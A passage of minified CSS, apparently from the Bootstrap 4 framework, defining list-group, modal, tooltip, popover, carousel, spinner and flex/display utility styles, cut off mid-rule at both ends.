.list-group-item{margin-right:-1px;margin-bottom:0}.list-group-horizontal-xl .list-group-item:first-child{border-top-left-radius:.25rem;border-bottom-left-radius:.25rem;border-top-right-radius:0}.list-group-horizontal-xl .list-group-item:last-child{margin-right:0;border-top-right-radius:.25rem;border-bottom-right-radius:.25rem;border-bottom-left-radius:0}}.list-group-flush .list-group-item{border-right:0;border-left:0;border-radius:0}.list-group-flush .list-group-item:last-child{margin-bottom:-1px}.list-group-flush:first-child .list-group-item:first-child{border-top:0}.list-group-flush:last-child .list-group-item:last-child{margin-bottom:0;border-bottom:0}.list-group-item-primary{color:#004085;background-color:#b8daff}.list-group-item-primary.list-group-item-action:focus,.list-group-item-primary.list-group-item-action:hover{color:#004085;background-color:#9fcdff}.list-group-item-primary.list-group-item-action.active{color:#fff;background-color:#004085;border-color:#004085}.list-group-item-secondary{color:#383d41;background-color:#d6d8db}.list-group-item-secondary.list-group-item-action:focus,.list-group-item-secondary.list-group-item-action:hover{color:#383d41;background-color:#c8cbcf}.list-group-item-secondary.list-group-item-action.active{color:#fff;background-color:#383d41;border-color:#383d41}.list-group-item-success{color:#155724;background-color:#c3e6cb}.list-group-item-success.list-group-item-action:focus,.list-group-item-success.list-group-item-action:hover{color:#155724;background-color:#b1dfbb}.list-group-item-success.list-group-item-action.active{color:#fff;background-color:#155724;border-color:#155724}.list-group-item-info{color:#0c5460;background-color:#bee5eb}.list-group-item-info.list-group-item-action:focus,.list-group-item-info.list-group-item-action:hover{color:#0c5460;background-color:#abdde5}.list-group-item-info.list-group-item-action.active{color:#fff;background-color:#0c5460;border-color:#0c5460}.list-group-item-warning{color:#856404;background-color:#ffeeba}.list-group-item-warning.list-group-item-action:focus,.list-group-item-warning.list-group-item-action:hover{color:#856404;background-color:#ffe8a1}.list-group-item-warning.list-group-item-action.active{color:#fff;background-color:#856404;border-color:#856404}.list-group-item-danger{color:#721c24;background-color:#f5c6cb}.list-group-item-danger.list-group-item-action:focus,.list-group-item-danger.list-group-item-action:hover{color:#721c24;background-color:#f1b0b7}.list-group-item-danger.list-group-item-action.active{color:#fff;background-color:#721c24;border-color:#721c24}.list-group-item-light{color:#818182;background-color:#fdfdfe}.list-group-item-light.list-group-item-action:focus,.list-group-item-light.list-group-item-action:hover{color:#818182;background-color:#ececf6}.list-group-item-light.list-group-item-action.active{color:#fff;background-color:#818182;border-color:#818182}.list-group-item-dark{color:#1b1e21;background-color:#c6c8ca}.list-group-item-dark.list-group-item-action:focus,.list-group-item-dark.list-group-item-action:hover{color:#1b1e21;background-color:#b9bbbe}.list-group-item-dark.list-group-item-action.active{color:#fff;background-color:#1b1e21;border-color:#1b1e21}.close{float:right;font-size:1.5rem;font-weight:700;line-height:1;color:#000;text-shadow:0 1px 0 #fff;opacity:.5}.close:hover{color:#000;text-decoration:none}.close:not(:disabled):not(.disabled):focus,.close:not(:disabled):not(.disabled):hover{opacity:.75}button.close{padding:0;background-color:transparent;border:0;-webkit-appearance:none;-moz-appearance:none;appearance:none}a.close.disabled{pointer-events:none}.toast{max-width:350px;overflow:hidden;font-size:.875rem;background-color:rgba(255,255,255,.85);background-clip:padding-box;border:1px solid rgba(0,0,0,.1);box-shadow:0 .25rem .75rem rgba(0,0,0,.1);-webkit-backdrop-filter:blur(10px);backdrop-filter:blur(10px);opacity:0;border-radius:.25rem}.toast:not(:last-child){margin-bottom:.75rem}.toast.showing{opacity:1}.toast.show{display:block;opacity:1}.toast.hide{display:none}.toast-header{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;padding:.25rem .75rem;color:#6c757d;background-color:rgba(255,255,255,.85);background-clip:padding-box;border-bottom:1px solid rgba(0,0,0,.05)}.toast-body{padding:.75rem}.modal-open{overflow:hidden}.modal-open .modal{overflow-x:hidden;overflow-y:auto}.modal{position:fixed;top:0;left:0;z-index:1050;display:none;width:100%;height:100%;overflow:hidden;outline:0}.modal-dialog{position:relative;width:auto;margin:.5rem;pointer-events:none}.modal.fade .modal-dialog{transition:-webkit-transform .3s ease-out;transition:transform .3s ease-out;transition:transform .3s ease-out,-webkit-transform .3s ease-out;-webkit-transform:translate(0,-50px);transform:translate(0,-50px)}@media (prefers-reduced-motion:reduce){.modal.fade .modal-dialog{transition:none}}.modal.show .modal-dialog{-webkit-transform:none;transform:none}.modal-dialog-scrollable{display:-ms-flexbox;display:flex;max-height:calc(100% - 1rem)}.modal-dialog-scrollable .modal-content{max-height:calc(100vh - 1rem);overflow:hidden}.modal-dialog-scrollable .modal-footer,.modal-dialog-scrollable .modal-header{-ms-flex-negative:0;flex-shrink:0}.modal-dialog-scrollable .modal-body{overflow-y:auto}.modal-dialog-centered{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;min-height:calc(100% - 1rem)}.modal-dialog-centered::before{display:block;height:calc(100vh - 1rem);content:""}.modal-dialog-centered.modal-dialog-scrollable{-ms-flex-direction:column;flex-direction:column;-ms-flex-pack:center;justify-content:center;height:100%}.modal-dialog-centered.modal-dialog-scrollable .modal-content{max-height:none}.modal-dialog-centered.modal-dialog-scrollable::before{content:none}.modal-content{position:relative;display:-ms-flexbox;display:flex;-ms-flex-direction:column;flex-direction:column;width:100%;pointer-events:auto;background-color:#fff;background-clip:padding-box;border:1px solid rgba(0,0,0,.2);border-radius:.3rem;outline:0}.modal-backdrop{position:fixed;top:0;left:0;z-index:1040;width:100vw;height:100vh;background-color:#000}.modal-backdrop.fade{opacity:0}.modal-backdrop.show{opacity:.5}.modal-header{display:-ms-flexbox;display:flex;-ms-flex-align:start;align-items:flex-start;-ms-flex-pack:justify;justify-content:space-between;padding:1rem 1rem;border-bottom:1px solid #dee2e6;border-top-left-radius:.3rem;border-top-right-radius:.3rem}.modal-header .close{padding:1rem 1rem;margin:-1rem -1rem -1rem auto}.modal-title{margin-bottom:0;line-height:1.5}.modal-body{position:relative;-ms-flex:1 1 auto;flex:1 1 auto;padding:1rem}.modal-footer{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;-ms-flex-pack:end;justify-content:flex-end;padding:1rem;border-top:1px solid #dee2e6;border-bottom-right-radius:.3rem;border-bottom-left-radius:.3rem}.modal-footer>:not(:first-child){margin-left:.25rem}.modal-footer>:not(:last-child){margin-right:.25rem}.modal-scrollbar-measure{position:absolute;top:-9999px;width:50px;height:50px;overflow:scroll}@media (min-width:576px){.modal-dialog{max-width:500px;margin:1.75rem auto}.modal-dialog-scrollable{max-height:calc(100% - 3.5rem)}.modal-dialog-scrollable .modal-content{max-height:calc(100vh - 3.5rem)}.modal-dialog-centered{min-height:calc(100% - 3.5rem)}.modal-dialog-centered::before{height:calc(100vh - 3.5rem)}.modal-sm{max-width:300px}}@media (min-width:992px){.modal-lg,.modal-xl{max-width:800px}}@media (min-width:1200px){.modal-xl{max-width:1140px}}.tooltip{position:absolute;z-index:1070;display:block;margin:0;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,"Noto Sans",sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";font-style:normal;font-weight:400;line-height:1.5;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-break:normal;word-spacing:normal;white-space:normal;line-break:auto;font-size:.875rem;word-wrap:break-word;opacity:0}.tooltip.show{opacity:.9}.tooltip .arrow{position:absolute;display:block;width:.8rem;height:.4rem}.tooltip .arrow::before{position:absolute;content:"";border-color:transparent;border-style:solid}.bs-tooltip-auto[x-placement^=top],.bs-tooltip-top{padding:.4rem 0}.bs-tooltip-auto[x-placement^=top] .arrow,.bs-tooltip-top .arrow{bottom:0}.bs-tooltip-auto[x-placement^=top] .arrow::before,.bs-tooltip-top .arrow::before{top:0;border-width:.4rem .4rem 0;border-top-color:#000}.bs-tooltip-auto[x-placement^=right],.bs-tooltip-right{padding:0 .4rem}.bs-tooltip-auto[x-placement^=right] .arrow,.bs-tooltip-right .arrow{left:0;width:.4rem;height:.8rem}.bs-tooltip-auto[x-placement^=right] .arrow::before,.bs-tooltip-right .arrow::before{right:0;border-width:.4rem .4rem .4rem 0;border-right-color:#000}.bs-tooltip-auto[x-placement^=bottom],.bs-tooltip-bottom{padding:.4rem 0}.bs-tooltip-auto[x-placement^=bottom] .arrow,.bs-tooltip-bottom .arrow{top:0}.bs-tooltip-auto[x-placement^=bottom] .arrow::before,.bs-tooltip-bottom .arrow::before{bottom:0;border-width:0 .4rem .4rem;border-bottom-color:#000}.bs-tooltip-auto[x-placement^=left],.bs-tooltip-left{padding:0 .4rem}.bs-tooltip-auto[x-placement^=left] .arrow,.bs-tooltip-left .arrow{right:0;width:.4rem;height:.8rem}.bs-tooltip-auto[x-placement^=left] .arrow::before,.bs-tooltip-left .arrow::before{left:0;border-width:.4rem 0 .4rem .4rem;border-left-color:#000}.tooltip-inner{max-width:200px;padding:.25rem .5rem;color:#fff;text-align:center;background-color:#000;border-radius:.25rem}.popover{position:absolute;top:0;left:0;z-index:1060;display:block;max-width:276px;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,"Noto Sans",sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";font-style:normal;font-weight:400;line-height:1.5;text-align:left;text-align:start;text-decoration:none;text-shadow:none;text-transform:none;letter-spacing:normal;word-break:normal;word-spacing:normal;white-space:normal;line-break:auto;font-size:.875rem;word-wrap:break-word;background-color:#fff;background-clip:padding-box;border:1px solid rgba(0,0,0,.2);border-radius:.3rem}.popover .arrow{position:absolute;display:block;width:1rem;height:.5rem;margin:0 .3rem}.popover .arrow::after,.popover .arrow::before{position:absolute;display:block;content:"";border-color:transparent;border-style:solid}.bs-popover-auto[x-placement^=top],.bs-popover-top{margin-bottom:.5rem}.bs-popover-auto[x-placement^=top]>.arrow,.bs-popover-top>.arrow{bottom:calc((.5rem + 1px) * -1)}.bs-popover-auto[x-placement^=top]>.arrow::before,.bs-popover-top>.arrow::before{bottom:0;border-width:.5rem .5rem 0;border-top-color:rgba(0,0,0,.25)}.bs-popover-auto[x-placement^=top]>.arrow::after,.bs-popover-top>.arrow::after{bottom:1px;border-width:.5rem .5rem 0;border-top-color:#fff}.bs-popover-auto[x-placement^=right],.bs-popover-right{margin-left:.5rem}.bs-popover-auto[x-placement^=right]>.arrow,.bs-popover-right>.arrow{left:calc((.5rem + 1px) * -1);width:.5rem;height:1rem;margin:.3rem 0}.bs-popover-auto[x-placement^=right]>.arrow::before,.bs-popover-right>.arrow::before{left:0;border-width:.5rem .5rem .5rem 0;border-right-color:rgba(0,0,0,.25)}.bs-popover-auto[x-placement^=right]>.arrow::after,.bs-popover-right>.arrow::after{left:1px;border-width:.5rem .5rem .5rem 0;border-right-color:#fff}.bs-popover-auto[x-placement^=bottom],.bs-popover-bottom{margin-top:.5rem}.bs-popover-auto[x-placement^=bottom]>.arrow,.bs-popover-bottom>.arrow{top:calc((.5rem + 1px) * -1)}.bs-popover-auto[x-placement^=bottom]>.arrow::before,.bs-popover-bottom>.arrow::before{top:0;border-width:0 .5rem .5rem .5rem;border-bottom-color:rgba(0,0,0,.25)}.bs-popover-auto[x-placement^=bottom]>.arrow::after,.bs-popover-bottom>.arrow::after{top:1px;border-width:0 .5rem .5rem .5rem;border-bottom-color:#fff}.bs-popover-auto[x-placement^=bottom] .popover-header::before,.bs-popover-bottom .popover-header::before{position:absolute;top:0;left:50%;display:block;width:1rem;margin-left:-.5rem;content:"";border-bottom:1px solid #f7f7f7}.bs-popover-auto[x-placement^=left],.bs-popover-left{margin-right:.5rem}.bs-popover-auto[x-placement^=left]>.arrow,.bs-popover-left>.arrow{right:calc((.5rem + 1px) * -1);width:.5rem;height:1rem;margin:.3rem 0}.bs-popover-auto[x-placement^=left]>.arrow::before,.bs-popover-left>.arrow::before{right:0;border-width:.5rem 0 .5rem .5rem;border-left-color:rgba(0,0,0,.25)}.bs-popover-auto[x-placement^=left]>.arrow::after,.bs-popover-left>.arrow::after{right:1px;border-width:.5rem 0 .5rem .5rem;border-left-color:#fff}.popover-header{padding:.5rem .75rem;margin-bottom:0;font-size:1rem;background-color:#f7f7f7;border-bottom:1px solid #ebebeb;border-top-left-radius:calc(.3rem - 1px);border-top-right-radius:calc(.3rem - 1px)}.popover-header:empty{display:none}.popover-body{padding:.5rem .75rem;color:#212529}.carousel{position:relative}.carousel.pointer-event{-ms-touch-action:pan-y;touch-action:pan-y}.carousel-inner{position:relative;width:100%;overflow:hidden}.carousel-inner::after{display:block;clear:both;content:""}.carousel-item{position:relative;display:none;float:left;width:100%;margin-right:-100%;-webkit-backface-visibility:hidden;backface-visibility:hidden;transition:-webkit-transform .6s ease-in-out;transition:transform .6s ease-in-out;transition:transform .6s ease-in-out,-webkit-transform .6s ease-in-out}@media (prefers-reduced-motion:reduce){.carousel-item{transition:none}}.carousel-item-next,.carousel-item-prev,.carousel-item.active{display:block}.active.carousel-item-right,.carousel-item-next:not(.carousel-item-left){-webkit-transform:translateX(100%);transform:translateX(100%)}.active.carousel-item-left,.carousel-item-prev:not(.carousel-item-right){-webkit-transform:translateX(-100%);transform:translateX(-100%)}.carousel-fade .carousel-item{opacity:0;transition-property:opacity;-webkit-transform:none;transform:none}.carousel-fade .carousel-item-next.carousel-item-left,.carousel-fade .carousel-item-prev.carousel-item-right,.carousel-fade .carousel-item.active{z-index:1;opacity:1}.carousel-fade .active.carousel-item-left,.carousel-fade .active.carousel-item-right{z-index:0;opacity:0;transition:0s .6s opacity}@media (prefers-reduced-motion:reduce){.carousel-fade .active.carousel-item-left,.carousel-fade .active.carousel-item-right{transition:none}}.carousel-control-next,.carousel-control-prev{position:absolute;top:0;bottom:0;z-index:1;display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;-ms-flex-pack:center;justify-content:center;width:15%;color:#fff;text-align:center;opacity:.5;transition:opacity .15s ease}@media (prefers-reduced-motion:reduce){.carousel-control-next,.carousel-control-prev{transition:none}}.carousel-control-next:focus,.carousel-control-next:hover,.carousel-control-prev:focus,.carousel-control-prev:hover{color:#fff;text-decoration:none;outline:0;opacity:.9}.carousel-control-prev{left:0}.carousel-control-next{right:0}.carousel-control-next-icon,.carousel-control-prev-icon{display:inline-block;width:20px;height:20px;background:no-repeat 50%/100% 100%}.carousel-control-prev-icon{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' fill='%23fff' viewBox='0 0 8 8'%3e%3cpath d='M5.25 0l-4 4 4 4 1.5-1.5-2.5-2.5 2.5-2.5-1.5-1.5z'/%3e%3c/svg%3e")}.carousel-control-next-icon{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' fill='%23fff' viewBox='0 0 8 8'%3e%3cpath d='M2.75 0l-1.5 1.5 2.5 2.5-2.5 2.5 1.5 1.5 4-4-4-4z'/%3e%3c/svg%3e")}.carousel-indicators{position:absolute;right:0;bottom:0;left:0;z-index:15;display:-ms-flexbox;display:flex;-ms-flex-pack:center;justify-content:center;padding-left:0;margin-right:15%;margin-left:15%;list-style:none}.carousel-indicators li{box-sizing:content-box;-ms-flex:0 1 auto;flex:0 1 auto;width:30px;height:3px;margin-right:3px;margin-left:3px;text-indent:-999px;cursor:pointer;background-color:#fff;background-clip:padding-box;border-top:10px solid transparent;border-bottom:10px solid transparent;opacity:.5;transition:opacity .6s ease}@media (prefers-reduced-motion:reduce){.carousel-indicators li{transition:none}}.carousel-indicators .active{opacity:1}.carousel-caption{position:absolute;right:15%;bottom:20px;left:15%;z-index:10;padding-top:20px;padding-bottom:20px;color:#fff;text-align:center}@-webkit-keyframes spinner-border{to{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}@keyframes spinner-border{to{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}.spinner-border{display:inline-block;width:2rem;height:2rem;vertical-align:text-bottom;border:.25em solid currentColor;border-right-color:transparent;border-radius:50%;-webkit-animation:spinner-border .75s linear infinite;animation:spinner-border .75s linear infinite}.spinner-border-sm{width:1rem;height:1rem;border-width:.2em}@-webkit-keyframes spinner-grow{0%{-webkit-transform:scale(0);transform:scale(0)}50%{opacity:1}}@keyframes spinner-grow{0%{-webkit-transform:scale(0);transform:scale(0)}50%{opacity:1}}.spinner-grow{display:inline-block;width:2rem;height:2rem;vertical-align:text-bottom;background-color:currentColor;border-radius:50%;opacity:0;-webkit-animation:spinner-grow .75s linear infinite;animation:spinner-grow .75s linear infinite}.spinner-grow-sm{width:1rem;height:1rem}.align-baseline{vertical-align:baseline!important}.align-top{vertical-align:top!important}.align-middle{vertical-align:middle!important}.align-bottom{vertical-align:bottom!important}.align-text-bottom{vertical-align:text-bottom!important}.align-text-top{vertical-align:text-top!important}.bg-primary{background-color:#007bff!important}a.bg-primary:focus,a.bg-primary:hover,button.bg-primary:focus,button.bg-primary:hover{background-color:#0062cc!important}.bg-secondary{background-color:#6c757d!important}a.bg-secondary:focus,a.bg-secondary:hover,button.bg-secondary:focus,button.bg-secondary:hover{background-color:#545b62!important}.bg-success{background-color:#28a745!important}a.bg-success:focus,a.bg-success:hover,button.bg-success:focus,button.bg-success:hover{background-color:#1e7e34!important}.bg-info{background-color:#17a2b8!important}a.bg-info:focus,a.bg-info:hover,button.bg-info:focus,button.bg-info:hover{background-color:#117a8b!important}.bg-warning{background-color:#ffc107!important}a.bg-warning:focus,a.bg-warning:hover,button.bg-warning:focus,button.bg-warning:hover{background-color:#d39e00!important}.bg-danger{background-color:#dc3545!important}a.bg-danger:focus,a.bg-danger:hover,button.bg-danger:focus,button.bg-danger:hover{background-color:#bd2130!important}.bg-light{background-color:#f8f9fa!important}a.bg-light:focus,a.bg-light:hover,button.bg-light:focus,button.bg-light:hover{background-color:#dae0e5!important}.bg-dark{background-color:#343a40!important}a.bg-dark:focus,a.bg-dark:hover,button.bg-dark:focus,button.bg-dark:hover{background-color:#1d2124!important}.bg-white{background-color:#fff!important}.bg-transparent{background-color:transparent!important}.border{border:1px solid #dee2e6!important}.border-top{border-top:1px solid #dee2e6!important}.border-right{border-right:1px solid #dee2e6!important}.border-bottom{border-bottom:1px solid #dee2e6!important}.border-left{border-left:1px solid #dee2e6!important}.border-0{border:0!important}.border-top-0{border-top:0!important}.border-right-0{border-right:0!important}.border-bottom-0{border-bottom:0!important}.border-left-0{border-left:0!important}.border-primary{border-color:#007bff!important}.border-secondary{border-color:#6c757d!important}.border-success{border-color:#28a745!important}.border-info{border-color:#17a2b8!important}.border-warning{border-color:#ffc107!important}.border-danger{border-color:#dc3545!important}.border-light{border-color:#f8f9fa!important}.border-dark{border-color:#343a40!important}.border-white{border-color:#fff!important}.rounded-sm{border-radius:.2rem!important}.rounded{border-radius:.25rem!important}.rounded-top{border-top-left-radius:.25rem!important;border-top-right-radius:.25rem!important}.rounded-right{border-top-right-radius:.25rem!important;border-bottom-right-radius:.25rem!important}.rounded-bottom{border-bottom-right-radius:.25rem!important;border-bottom-left-radius:.25rem!important}.rounded-left{border-top-left-radius:.25rem!important;border-bottom-left-radius:.25rem!important}.rounded-lg{border-radius:.3rem!important}.rounded-circle{border-radius:50%!important}.rounded-pill{border-radius:50rem!important}.rounded-0{border-radius:0!important}.clearfix::after{display:block;clear:both;content:""}.d-none{display:none!important}.d-inline{display:inline!important}.d-inline-block{display:inline-block!important}.d-block{display:block!important}.d-table{display:table!important}.d-table-row{display:table-row!important}.d-table-cell{display:table-cell!important}.d-flex{display:-ms-flexbox!important;display:flex!important}.d-inline-flex{display:-ms-inline-flexbox!important;display:inline-flex!important}@media (min-width:576px){.d-sm-none{display:none!important}.d-sm-inline{display:inline!important}.d-sm-inline-block{display:inline-block!important}.d-sm-block{display:block!important}.d-sm-table{display:table!important}.d-sm-table-row{display:table-row!important}.d-sm-table-cell{display:table-cell!important}.d-sm-flex{display:-ms-flexbox!important;display:flex!important}.d-sm-inline-flex{display:-ms-inline-flexbox!important;display:inline-flex!important}}@media (min-width:768px){.d-md-none{display:none!important}.d-md-inline{display:inline!important}.d-md-inline-block{display:inline-block!important}.d-md-block{display:block!important}.d-md-table{display:table!important}.d-md-table-row{display:table-row!important}.d-md-table-cell{display:table-cell!important}.d-md-flex{display:-ms-flexbox!important;display:flex!important}.d-md-inline-flex{display:-ms-inline-flexbox!important;display:inline-flex!important}}@media (min-width:992px){.d-lg-none{display:none!important}.d-lg-inline{display:inline!important}.d-lg-inline-block{display:inline-block!important}.d-lg-block{display:block!important}.d-lg-table{display:table!important}.d-lg-table-row{display:table-row!important}.d-lg-table-cell{display:table-cell!important}.d-lg-flex{display:-ms-flexbox!important;display:flex!important}.d-lg-inline-flex{display:-ms-inline-flexbox!important;display:inline-flex!important}}@media (min-width:1200px){.d-xl-none{display:none!important}.d-xl-inline{display:inline!important}.d-xl-inline-block{display:inline-block!important}.d-xl-block{display:block!important}.d-xl-table{display:table!important}.d-xl-table-row{display:table-row!important}.d-xl-table-cell{display:table-cell!important}.d-xl-flex{display:-ms-flexbox!important;display:flex!important}.d-xl-inline-flex{display:-ms-inline-flexbox!important;display:inline-flex!important}}@media print{.d-print-none{display:none!important}.d-print-inline{display:inline!important}.d-print-inline-block{display:inline-block!important}.d-print-block{display:block!important}.d-print-table{display:table!important}.d-print-table-row{display:table-row!important}.d-print-table-cell{display:table-cell!important}.d-print-flex{display:-ms-flexbox!important;display:flex!important}.d-print-inline-flex{display:-ms-inline-flexbox!important;display:inline-flex!important}}.embed-responsive{position:relative;display:block;width:100%;padding:0;overflow:hidden}.embed-responsive::before{display:block;content:""}.embed-responsive .embed-responsive-item,.embed-responsive embed,.embed-responsive iframe,.embed-responsive object,.embed-responsive video{position:absolute;top:0;bottom:0;left:0;width:100%;height:100%;border:0}.embed-responsive-21by9::before{padding-top:42.857143%}.embed-responsive-16by9::before{padding-top:56.25%}.embed-responsive-4by3::before{padding-top:75%}.embed-responsive-1by1::before{padding-top:100%}.flex-row{-ms-flex-direction:row!important;flex-direction:row!important}.flex-column{-ms-flex-direction:column!important;flex-direction:column!important}.flex-row-reverse{-ms-flex-direction:row-reverse!important;flex-direction:row-reverse!important}.flex-column-reverse{-ms-flex-direction:column-reverse!important;flex-direction:column-reverse!important}.flex-wrap{-ms-flex-wrap:wrap!important;flex-wrap:wrap!important}.flex-nowrap{-ms-flex-wrap:nowrap!important;flex-wrap:nowrap!important}.flex-wrap-reverse{-ms-flex-wrap:wrap-reverse!important;flex-wrap:wrap-reverse!important}.flex-fill{-ms-flex:1 1 auto!important;flex:1 1 auto!important}.flex-grow-0{-ms-flex-positive:0!important;flex-grow:0!important}.flex-grow-1{-ms-flex-positive:1!important;flex-grow:1!important}.flex-shrink-0{-ms-flex-negative:0!important;flex-shrink:0!important}.flex-shrink-1{-ms-flex-negative:1!important;flex-shrink:1!important}.justify-content-start{-ms-flex-pack:start!important;justify-content:flex-start!important}.justify-content-end{-ms-flex-pack:end!important;justify-content:flex-end!important}.justify-content-center{-ms-flex-pack:center!important;justify-content:center!important}.justify-content-between{-ms-flex-pack:justify!important;justify-content:space-between!important}.justify-content-around{-ms-flex-pack:distribute!important;justify-content:space-around!important}.align-items-start{-ms-flex-align:start!important;align-items:flex-start!important}.align-items-end{-ms-flex-align:end!important;align-items:flex-end!important}.align-items-center{-ms-flex-align:center!important;align-items:center!important}.align-items-baseline{-ms-flex-align:baseline!important;align-items:baseline!important}.align-items-stretch{-ms-flex-align:stretch!important;align-items:stretch!important}.align-content-start{-ms-flex-line-pack:start!important;align-content:flex-start!important}.align-content-end{-ms-flex-line-pack:end!important;align-content:flex-end!important}.align-content-center{-ms-flex-line-pack:center!important;align-content:center!important}.align-content-between{-ms-flex-line-pack:justify!important;align-content:space-between!important}.align-content-around{-ms-flex-line-pack:distribute!important;align-content:space-around!important}.align-content-stretch{-ms-flex-line-pack:stretch!important;align-content:stretch!important}.align-self-auto{-ms-flex-item-align:auto!important;align-self:auto!important}.align-self-start{-ms-flex-item-align:start!important;align-self:flex-start!important}.align-self-end{-ms-flex-item-align:end!important;align-self:flex-end!important}.align-self-center{-ms-flex-item-align:center!important;align-self:center!important}.align-self-baseline{-ms-flex-item-align:baseline!important;align-self:baseline!important}.align-self-stretch{-ms-flex-item-align:stretch!important;align-self:stretch!important}@media (min-width:576px){.flex-sm-row{-ms-flex-direction:row!important;flex-direction:row!important}.flex-sm-column{-ms-flex-direction:column!important;flex-direction:column!important}.flex-sm-row-reverse{-ms-flex-direction:row-reverse!important;flex-direction:row-reverse!important}.flex-sm-column-reverse{-ms-flex-direction:column-reverse!important;flex-direction:column-reverse!important}.flex-sm-wrap{-ms-flex-wrap:wrap!important;flex-wrap:wrap!important}.flex-sm-nowrap{-ms-flex-wrap:nowrap!important;flex-wrap:nowrap!important}.flex-sm-wrap-reverse{-ms-flex-wrap:wrap-reverse!important;flex-wrap:wrap-reverse!important}.flex-sm-fill{-ms-flex:1 1 auto!important;flex:1 1 auto!important}.flex-sm-grow-0{-ms-flex-positive:0!important;flex-grow:0!important}.flex-sm-grow-1{-ms-flex-positive:1!important;flex-grow:1!important}.flex-sm-shrink-0{-ms-flex-negative:0!important;flex-shrink:0!important}.flex-sm-shrink-1{-ms-flex-negative:1!important;flex-shrink:1!important}.justify-content-sm-start{-ms-flex-pack:start!important;justify-content:flex-start!important}.justify-content-sm-end{-ms-flex-pack:end!important;justify-content:flex-end!important}.justify-content-sm-center{-ms-flex-pack:center!important;justify-content:center!important}.justify-content-sm-between{-ms-flex-pack:justify!important;justify-content:space-between!important}.justify-content-sm-around{-ms-flex-pack:distribute!important;justify-content:space-around!important}.align-items-sm-start{-ms-flex-align:start!important;align-items:flex-start!important}.align-items-sm-end{-ms-flex-align:end!important;align-items:flex-end!important}.align-items-sm-center{-ms-flex-align:center!important;align-items:center!important}.align-items-sm-baseline{-ms-flex-align:baseline!important;align-items:baseline!important}.align-items-sm-stretch{-ms-flex-align:stretch!important;align-items:stretch!important}.align-content-sm-start{-ms-flex-line-pack:start!important;align-content:flex-start!important}.align-content-sm-end{-ms-flex-line-pack:end!important;align-content:flex-end!important}.align-content-sm-center{-ms-flex-line-pack:center!important;align-content:center!important}.align-content-sm-between{-ms-flex-line-pack:justify!important;align-content:space-between!important}.align-content-sm-around{-ms-flex-line-pack:distribute!important;align-content:space-around!important}.align-content-sm-stretch{-ms-flex-line-pack:stretch!important;align-content:stretch!important}.align-self-sm-auto{-ms-flex-item-align:auto!important;align-self:auto!important}.align-self-sm-start{-ms-flex-item-align:start!important;align-self:flex-start!important}.align-self-sm-end{-ms-flex-item-align:end!important;align-self:flex-end!important}.align-self-sm-center{-ms-flex-item-align:center!important;align-self:center!important}.align-self-sm-baseline{-ms-flex-item-align:baseline!important;align-self:baseline!important}.align-self-sm-stretch{-ms-flex-item-align:stretch!important;align-self:stretch!important}}@media (min-width:768px){.flex-md-row{-ms-flex-direction:row!important;flex-direction:row!important}.flex-md-column{-ms-flex-direction:column!important;flex-direction:column!important}.flex-md-row-reverse{-ms-flex-direction:row-reverse!important;flex-direction:row-reverse!important}.flex-md-column-reverse{-ms-flex-direction:column-reverse!important;flex-direction:column-reverse!important}.flex-md-wrap{-ms-flex-wrap:wrap!important;flex-wrap:wrap!important}.flex-md-nowrap{-ms-flex-wrap:nowrap!important;flex-wrap:nowrap!important}.flex-md-wrap-reverse{-ms-flex-wrap:wrap-reverse!important;flex-wrap:wrap-reverse!important}.flex-md-fill{-ms-flex:1 1 auto!important;flex:1 1 auto!important}.flex-md-grow-0{-ms-flex-positive:0!important;flex-grow:0!important}.flex-md-grow-1{-ms-flex-positive:1!important;flex-grow:1!important}.flex-md-shrink-0{-ms-flex-negative:0!important;flex-shrink:0!important}.flex-md-shrink-1{-ms-flex-negative:1!important;flex-shrink:1!important}.justify-content-md-start{-ms-flex-pack:start!important;justify-content:flex-start!important}.justify-content-md-end{-ms-flex-pack:end!important;justify-content:flex-end!important}.justify-content-md-center{-ms-flex-pack:center!important;justify-content:center!important}.justify-content-md-between{-ms-flex-pack:justify!important;justify-content:space-between!important}.justify-content-md-around{-ms-flex-pack:distribute!important;justify-content:space-around!important}.align-items-md-start{-ms-flex-align:start!important;align-items:flex-start!important}.align-items-md-end{-ms-flex-align:end!important;align-items:flex-end!important}.align-items-md-center{-ms-flex-align:center!important;align-items:center!important}.align-items-md-baseline{-ms-flex-align:baseline!important;align-items:baseline!important}.align-items-md-stretch{-ms-flex-align:stretch!important;align-items:stretch!important}.align-content-md-start{-ms-flex-line-pack:start!important;align-content:flex-start!important}.align-content-md-end{-ms-flex-line-pack:end!important;align-content:flex-end!important}.align-content-md-center{-ms-flex-line-pack:center!important;align-content:center!important}.align-content-md-between{-ms-flex-line-pack:justify!important;align-content:space-between!important}.align-content-md-around{-ms-flex-line-pack:distribute!important;align-content:space-around!important}.align-content-md-stretch{-ms-flex-line-pack:stretch!important;align-content:stretch!important}.align-self-md-auto{-ms-flex-item-align:auto!important;align-self:auto!important}.align-self-md-start{-ms-flex-item-align:start!important;align-self:flex-start!important}.align-self-md-end{-ms-flex-item-align:end!important;align-self:flex-end!important}.align-self-md-center{-ms-flex-item-align:center!important;align-self:center!important}.align-self-md-baseline{-ms-flex-item-align:baseline!important;align-self:baseline!important}.align-self-md-stretch{-ms-flex-item-align:stretch!important;align-self:stretch!important}}@media 